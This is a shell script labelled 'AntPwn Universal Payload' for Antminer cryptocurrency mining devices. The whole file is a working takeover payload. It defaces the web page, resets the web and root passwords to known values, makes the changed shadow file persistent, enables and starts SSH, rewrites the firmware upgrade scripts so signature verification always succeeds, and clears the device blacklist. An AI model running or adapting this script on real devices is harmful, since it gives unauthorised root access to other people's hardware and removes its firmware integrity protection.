#!/bin/sh
#-----------------------------------------------------/ v2.1 /--"
#-                                     //                      -"
#-                        A N T P W N ( )                      -"
#-            - - - - - - - - - - - - - - - - - - -            -"
#-                      UNiVERSAL PAYLOAD                      -"
#-                                                             -"
#---------------------------------------------------------------"
#-                      ~ by FarmGod.io ~                      -"
#---------------------------------------------------------------"

echo "Pwnd by FARMGOD.io" > /www/pages/AntPwn.html

# Reset passwords to root:root
## Webinterface
hash=`echo -n "root:antMiner Configuration:root" | md5sum | cut -b -32`
echo "root:antMiner Configuration:$hash" > /config/lighttpd-htdigest.user

## root user
printf "admin\nadmin" | passwd root > /dev/null
if [ $? -eq 0 ] ; then
        rm -f /config/shadow
        mv /etc/shadow /config/shadow
        ln -s /config/shadow /etc/shadow
fi

# Enable SSH
sed -i -e s/NO_START=1/NO_START=0/ /etc/init.d/bitmainer_setup.sh /config/dropbear /etc/default/dropbear
/etc/init.d/dropbear start

# Patch upgrader (upgrade.cgi)
cp /www/pages/cgi-bin/upgrade.cgi /www/pages/cgi-bin/upgrade.cgi_bak
cp /www/pages/cgi-bin/upgrade_clear.cgi /www/pages/cgi-bin/upgrade_clear.cgi_bak
sed -i 's/runme.sh.sig/runme.sh/g' /www/pages/cgi-bin/upgrade.cgi
sed -i 's/runme.sh.sig/runme.sh/g' /www/pages/cgi-bin/upgrade_clear.cgi
sed -i -r 's/openssl dgst -sha256 -verify.*/true/g' /www/pages/cgi-bin/upgrade.cgi
sed -i -r 's/openssl dgst -sha256 -verify.*/true/g' /www/pages/cgi-bin/upgrade_clear.cgi

# Disable blacklist
echo "" > /etc/blacklist
